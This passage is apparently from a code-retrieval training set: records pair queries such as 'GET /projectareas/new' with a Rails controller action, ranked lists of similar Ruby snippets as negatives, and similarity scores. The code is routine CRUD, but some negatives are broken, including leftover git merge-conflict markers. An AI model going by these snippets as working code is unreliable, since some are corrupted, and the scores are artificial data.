is_seller: conversation.seller_id == @current_user.id,\n product: {\n product_id: conversation.offer.product.id,\n product_name: conversation.offer.product.product_name,\n price: conversation.offer.product.price,\n product_type: conversation.offer.product.product_type\n },\n offer: {\n id: conversation.offer.id,\n offer_id: conversation.offer.id,\n price: conversation.offer.price\n },\n messages: messages_for_json\n }\n render status: 200, json: payload\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end",
"def index\n @messages = Message.all\n respond_to do |format|\n format.html { render :index }\n format.json { render :json => @messages}\n end\n end",
"def send_batch msgs\n @ws.send encode_batch(msgs)\n end",
"def more_messages\n log \"Getting more_messages\"\n log \"Old start_index: #@start_index\"\n max = @start_index - 1\n @start_index = [(max + 1 - @limit), 1].max\n log \"New start_index: #@start_index\"\n fetch_ids = search_query? ? @ids[@start_index..max] : (@start_index..max).to_a\n log fetch_ids.inspect\n message_ids = fetch_and_cache_headers(fetch_ids)\n res = get_message_headers message_ids\n with_more_message_line(res)\n end",
"def index\n if params[:search]\n @messages = Message.search( params[:search],\n :per_page => params[:per_page],\n :page => params[:page],\n :with => { :channel_id => @channel.id})\n size = @messages.total_entries\n else\n options = {}\n if params[:per_page]\n options[:limit] = params[:per_page].to_i\n if params[:page] && params[:page].to_i >= 1\n options[:offset] = params[:per_page].to_i * (params[:page].to_i-1)\n end\n end\n options[:conditions] = {:channel_id => @channel.id }\n if params[:exclude_replies]\n options[:conditions][:reference_to] = nil\n end\n\n sort_order = 'DESC'\n if params[:sort_order]\n if params[:sort_order] == 'ascending'\n sort_order = 'ASC'\n elsif params[:sort_order] == 'descending'\n sort_order = 'DESC'\n end\n end\n options[:order] = 'updated_at ' + sort_order\n @messages = Message.all(options)\n size = Message.count(:conditions => options[:conditions])\n end\n render_json :entry => @messages, :size => size and return\n end",
"def create_page\n @user = @receiver\n @notification = @user.notifications.find_by(link: \"/pages/#{@page.id}\")\n subject = \"[FBC] #{@page.user.login_name}さんがDocsに#{@page.title}を投稿しました。\"\n mail to: @user.email, subject: subject\n end",
"def index\n @messages = Message.all\n end",
"def index\n @messages = Message.all\n end",
"def index\n @messages = Message.all\n end",
"def index\n @messages = Message.all\n end",
"def index\n @messages = Message.all\n end",
"def index\n @messages = Message.all\n end",
"def index\n @messages = Message.all\n end"
] |
[
"0.6956178",
"0.6514956",
"0.6492343",
"0.63325435",
"0.6324517",
"0.6280375",
"0.62239534",
"0.62089765",
"0.61276126",
"0.60872334",
"0.6085665",
"0.6065085",
"0.606036",
"0.6049398",
"0.60426766",
"0.6028769",
"0.5968318",
"0.5959539",
"0.59392667",
"0.59057176",
"0.5895453",
"0.5891271",
"0.5832848",
"0.58194447",
"0.58193356",
"0.58178854",
"0.581644",
"0.58066875",
"0.5789451",
"0.5778711",
"0.5767951",
"0.57460165",
"0.5740085",
"0.5740085",
"0.5737461",
"0.57346225",
"0.57321095",
"0.57226616",
"0.57187986",
"0.5707627",
"0.5705992",
"0.56863505",
"0.56843376",
"0.5645393",
"0.56414837",
"0.563989",
"0.56392014",
"0.5638281",
"0.56277966",
"0.56201684",
"0.56169194",
"0.5615147",
"0.5614926",
"0.56092924",
"0.56046456",
"0.5590711",
"0.55752313",
"0.55667496",
"0.55507106",
"0.5549787",
"0.5545693",
"0.5539933",
"0.55220765",
"0.5511446",
"0.55078",
"0.5501707",
"0.5492259",
"0.54909754",
"0.54889596",
"0.5484061",
"0.54832447",
"0.54807323",
"0.54682815",
"0.5468126",
"0.5461289",
"0.54482985",
"0.54482985",
"0.54439074",
"0.54415107",
"0.5439294",
"0.54384947",
"0.5436067",
"0.54310447",
"0.5419949",
"0.54156035",
"0.54134184",
"0.5411486",
"0.54103726",
"0.5409764",
"0.54055005",
"0.5405181",
"0.5402227",
"0.5401438",
"0.53976893",
"0.53976893",
"0.53976893",
"0.53976893",
"0.53976893",
"0.53976893",
"0.53976893"
] |
0.7152458
|
0
|
GET /projectareas/1 GET /projectareas/1.xml
|
def show
@projectarea = Projectarea.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @projectarea }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @project_areas = ProjectArea.all\n end",
"def index\n @projects = @client.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @projects }\n end\n end",
"def new\n @projectarea = Projectarea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @projectarea }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html\n format.xml { render xml: @projects } # index.html.erb\n end\n end",
"def show\n @project = Project.find(params[:id])\n @sites = @project.spans\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show \n PivotalTracker::Client.token = current_user.setting.pt_api_key\n @project = PivotalTracker::Project.find(params[:id].to_i)\n @stories = @project.stories.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def index\n @projects = Project.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def index\n @project_objectives = ProjectObjective.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @project_objectives }\n end\n end",
"def index\n @areas = Area.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @areas }\n format.json {render :json => @areas}\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def index\n @tasks = @project.tasks\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end",
"def list\n get 'projects'\n end",
"def show\n @project_path = ProjectPath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project_path }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.xml { render xml: @project } # show.html.erb\n end\n end",
"def index\n #@projects = Project.all\n PivotalTracker::Client.token = current_user.setting.pt_api_key\n logger.debug current_user.setting.pt_api_key\n @projects = PivotalTracker::Project.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def show\n @project = Admin::Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @project.to_xml }\n end\n end",
"def index\n @project_type_associations = @project.project_type_associations\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @project_type_associations }\n end\n end",
"def show\n @project = Project.find(params[:ids])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def index\n @projects = Project.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @projects.to_xml }\n end\n end",
"def index\n @resources = @project.resources.all\n end",
"def index\n @projects = Project.all\n\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def show\n @project = Project.find(params[:id])\n # @nodes = Node.where(:project_id => @project)\n @nodes = Node.find(:all)\n @json = @nodes.to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def projects\n resource 'projects'\n end",
"def show\n @project_objective = ProjectObjective.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project_objective }\n end\n end",
"def index\n @projects = Project.order( :name ).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def index\n\n @projects = AzProject.paginate(:all, :conditions => {:copy_of => nil}, :order => 'id desc', :page => params[:page])\n\n @title = 'Все сайты'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def show\n @project = @client.projects.find(params[:id])\n @events = @project.events.limit(15)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @project }\n end\n end",
"def show\n @activities_project = ActivitiesProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activities_project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n @disciplines = collect_disciplines\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projects }\n end \n end",
"def show\n @admin_project = Admin::Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @admin_project }\n end\n end",
"def index\n @project_steps = ProjectStep.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @project_steps }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n @area = Area.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def show\n @area = Area.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def show\n @area = Area.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def index\n @core_areas = Core::Area.find_mine(params).paginate(page: params[:page])\n\n respond_to do |format|\n format.html {}\n format.json {}\n end\n end",
"def show\n @area = Area.find(params[:id]) \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def index\n @projects = Project.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def index\n require 'geoip'\n @projects = Department.all_projects\n rip = request.remote_ip\n ip = rip == '127.0.0.1' ? '24.90.88.129' : rip\n geo = GeoIP.new('lib/GeoLiteCity.dat').city(ip) || GeoIP.new('lib/GeoLiteCity.dat').city('24.90.88.129')\n @my_place = geo.latitude.to_s + \", \" + geo.longitude.to_s\n redirect_to action: :list\n #respond_to do |format|\n #format.html # index.html.erb\n #format.json { render json: @projects }\n #end\n end",
"def index\n @project_costs = ProjectCost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @project_costs }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.haml\n format.xml { render :xml => @project }\n end\n end",
"def show\n @project = @user.projects.find(params[:id])\n @items = @project.items.ready\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @unapproved_project }\n end\n end",
"def show\n @project_status = ProjectStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project_status }\n end\n end",
"def index\n @projects = @namespace.projects.all\n end",
"def index\n @projects = Project.all(:conditions => {:visibility => \"Public\"})\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def index\n @items = @project.items.ready\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"def index\n @repositories = @project.repositories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @repositories }\n end\n end",
"def show\n @openmapa = Openmapa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @openmapa }\n end\n end",
"def index\n @projecttracks = Projecttrack.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projecttracks }\n end\n end",
"def index\n @cpro_projects = CproProject.find(:all)\n session[:original_uri] = \"/cpro_projects\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cpro_projects }\n end\n end",
"def show\n @project = Project.find(params[:id])\n @members = @project.members.all\n @tasks = @project.tasks.all(:order => \"status, priority, deadline\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => [@project, @members, @tasks] }\n end\n end",
"def index\n @local_plans = LocalPlan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @local_plans }\n end\n end",
"def show\n @ip = AllowedIpAddress.find(params[:id])\n #@stages = @host.stages.uniq.sort_by{|x| x.project.name}\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ip.to_xml }\n end\n end",
"def index\n @wikis = @project.wikis\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wikis }\n end\n end",
"def project_area(id)\n project = @xml.search(\"object[@id='#{id}']\")\n area = project.search(\"relationship[@name='parent']\")\n area_id = area.attr('idrefs').to_s\n area_id == \"\" ? \"default\" : project_title(area_id)\n end",
"def show\n @project2 = Project2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project2 }\n end\n end",
"def index\n @project_environments = @project.project_environments.all\n end",
"def index\n @projects = @user.projects.active.paginate(:per_page => 3, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def index\n #by default show only active projects, not someday projects\n @projects = Project.all_active_projects(params[:context],current_user.id )\n @chores = Chore.where(\"user_id = ?\",current_user.id)\n @choretypes = Choretype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n begin\n initialize_projects\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @projects }\n end\n rescue Exception => error\n render inline: \"<span style='color:red;'>No project found: #{error.message}</span>\"\n end\n end",
"def show\n @current_project = CurrentProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @current_project }\n end\n end",
"def index\n @incidents = Incident.where(\"project = ?\", session[:project]).order( \"reference DESC\").\\\n\t paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @incidents }\n end\n end",
"def index\n @project_area_interests = ProjectAreaInterest.all\n end",
"def project_access(project)\n get(\"/projects/#{project}/access\")\n end",
"def show\n @agile_task = AgileTask.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @agile_task }\n end\n end",
"def index\r\n @domain = Domain.find(params[:domain_id])\r\n @areas = Area.includes(:domain).includes(:filter_type_property).\r\n includes(:interval_property).includes(:language_code_property).\r\n where(domain_id: @domain.id).rank(\"row_order\").page(params[:page]).per(@@page_size)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @areas }\r\n end\r\n end",
"def show\n # turn ruby database into json\n # route to the project 3 page with this json\n # id = 1\n end",
"def show\n @host = Host.find(params[:id])\n @stages = @host.stages.uniq.sort_by{|x| x.project.name}\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @host.to_xml }\n end\n end",
"def show\n @proj_detail = ProjDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @proj_detail }\n end\n end",
"def show\n @pat_project = Pat::Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pat_project }\n end\n end",
"def index\n @unapproved_projects = Project.unapproved\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @unapproved_projects }\n end\n end",
"def index\n @contracts = @project.contracts\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contracts }\n end\n end",
"def analyses\n @project = Project.find(params[:id])\n @analyses = Analysis.all\n\n respond_to do |format|\n format.html # analyses.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Salesforce::Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def index\n @areas = Area.all\n end",
"def show\n @project = Project.find(params[:id])\n set_current_project\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\n @project_task = ProjectTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project_task }\n end\n end",
"def new\n @project_path = ProjectPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_path }\n end\n end",
"def index\n @labs = @course.labs.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @labs }\n end\n end",
"def show\n @tarea = Tarea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tarea }\n end\n end",
"def index\n respond_to do |format|\n format.html { redirect_to \"/\" }\n format.xml { render :xml => @maps }\n end\n end",
"def index\n @projects = @sprint.projects.find(:all, :order => 'position ASC')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @projects.to_xml }\n end\n end",
"def index\n @paciente = Paciente.find(params[:paciente_id])\n @visitas = @paciente.visitas\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visitas }\n end\n end",
"def projects\n records \"project\", \"/project/list\"\n end",
"def index\n @projects = Project.paginate :page => params[:page], :order => 'created_at DESC', :per_page => 6\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @projects }\n end\n end",
"def index\n @branches = @repository.branches\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @branches }\n end\n end",
"def show\n @cpro_project = CproProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cpro_project }\n end\n end",
"def show\n @test_area = TestArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @test_area }\n end\n end"
] |
[
"0.66682184",
"0.634664",
"0.62768626",
"0.6212603",
"0.61729914",
"0.6153749",
"0.61136156",
"0.6106011",
"0.61049753",
"0.6101279",
"0.6101279",
"0.6092744",
"0.60809135",
"0.60733116",
"0.60714346",
"0.6058272",
"0.6035322",
"0.60149705",
"0.60101664",
"0.599544",
"0.5967593",
"0.59566844",
"0.5955621",
"0.59487456",
"0.5943243",
"0.5931851",
"0.5925611",
"0.5908495",
"0.59070617",
"0.5896007",
"0.5860334",
"0.58420163",
"0.5812633",
"0.5812633",
"0.5812633",
"0.5812633",
"0.5812633",
"0.5812633",
"0.5812633",
"0.5812633",
"0.58038086",
"0.58035684",
"0.57984245",
"0.57984245",
"0.5788942",
"0.57819545",
"0.5767747",
"0.5763393",
"0.5749854",
"0.5747426",
"0.57341325",
"0.5733996",
"0.5731521",
"0.5728337",
"0.5717179",
"0.57027096",
"0.5696968",
"0.5685694",
"0.56821775",
"0.56817436",
"0.567832",
"0.56780744",
"0.56571144",
"0.56430924",
"0.5641746",
"0.5638216",
"0.56377316",
"0.5634876",
"0.5622443",
"0.5605025",
"0.5603949",
"0.5602055",
"0.55906993",
"0.5579665",
"0.5572901",
"0.5570705",
"0.55689317",
"0.5565118",
"0.55632675",
"0.5561819",
"0.5560175",
"0.55518854",
"0.5544036",
"0.5539238",
"0.5535697",
"0.5535549",
"0.5534087",
"0.553348",
"0.5531974",
"0.55309665",
"0.55288136",
"0.5527188",
"0.55259967",
"0.55239546",
"0.5520678",
"0.55187225",
"0.551644",
"0.55158603",
"0.55083656",
"0.5506046"
] |
0.7037262
|
0
|
GET /projectareas/new GET /projectareas/new.xml
|
def new
@projectarea = Projectarea.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @projectarea }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @projectarea = Projectarea.new(params[:projectarea])\n\n respond_to do |format|\n if @projectarea.save\n flash[:notice] = 'Projectarea was successfully created.'\n format.html { redirect_to(@projectarea) }\n format.xml { render :xml => @projectarea, :status => :created, :location => @projectarea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @projectarea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @area = Area.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def new\n @new_project = Project.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new_project }\n end\n end",
"def new\n @project_path = ProjectPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_path }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = @client.projects.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @project }\n end\n end",
"def new\n @project = Project.create\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.haml\n format.xml { render :xml => @project }\n end\n end",
"def new\n authenticate_user!\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project_objective = ProjectObjective.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_objective }\n end\n end",
"def new\n @project = Project.new\n @project.disciplines = []\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def create\n @project_area = ProjectArea.new(project_area_params)\n\n respond_to do |format|\n if @project_area.save\n format.html { redirect_to @project_area, notice: 'Project area was successfully created.' }\n format.json { render :show, status: :created, location: @project_area }\n else\n format.html { render :new }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @activities_project = ActivitiesProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activities_project }\n end\n end",
"def new\n\n @project = Project.find(params[:project_id])\n @site = @project.sites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @area = Area.new\n @other_areas = Area.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end",
"def new\n @pat_project = Pat::Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pat_project }\n end\n end",
"def new\n @admin_project = Admin::Project.new\n @scope = nil\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin_project }\n end\n end",
"def new\n \t@pagenav = Page.find_all_by_published('true')\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @course = Course.new()\n @areas = Area.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"def new\n @current_project = CurrentProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @current_project }\n end\n end",
"def new\n @project_status = ProjectStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_status }\n end\n end",
"def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end",
"def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end",
"def new\n @openmapa = Openmapa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @openmapa }\n end\n end",
"def new\n @project = Project.new\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html\n format.xml { render xml: @project } # new.html.erb\n end\n end",
"def new\n @project = Salesforce::Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project_task = ProjectTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_task }\n end\n end",
"def new\n project = current_project\n\n # TODO: replace with project.dup ?\n @project = duplicate_project(project)\n respond_to do |format|\n if is_admin?\n format.html # new.html.erb\n format.xml { render xml: @project }\n else\n format.html { redirect_to projects_path }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n do_new_resource\n get_project_site\n do_set_attributes\n do_authorize_instance\n\n respond_new\n end",
"def new\n @projecttrack = Projecttrack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @projecttrack }\n end\n end",
"def new\n @project = Project.new\n @source = params[:source]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @projection = Projection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @projection }\n end\n end",
"def new\n @ourproject = Ourproject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ourproject }\n end\n end",
"def new\n @project = Project.new(:user_id => current_user[:id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @localmap = Localmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @localmap }\n end\n end",
"def new\n @breadcrumb = 'create'\n @area = Area.new\n @departments = departments_dropdown\n @workers = workers_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @project }\n end\n end",
"def new\n @project = Project.new\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @projectresource = Projectresource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projectresource }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
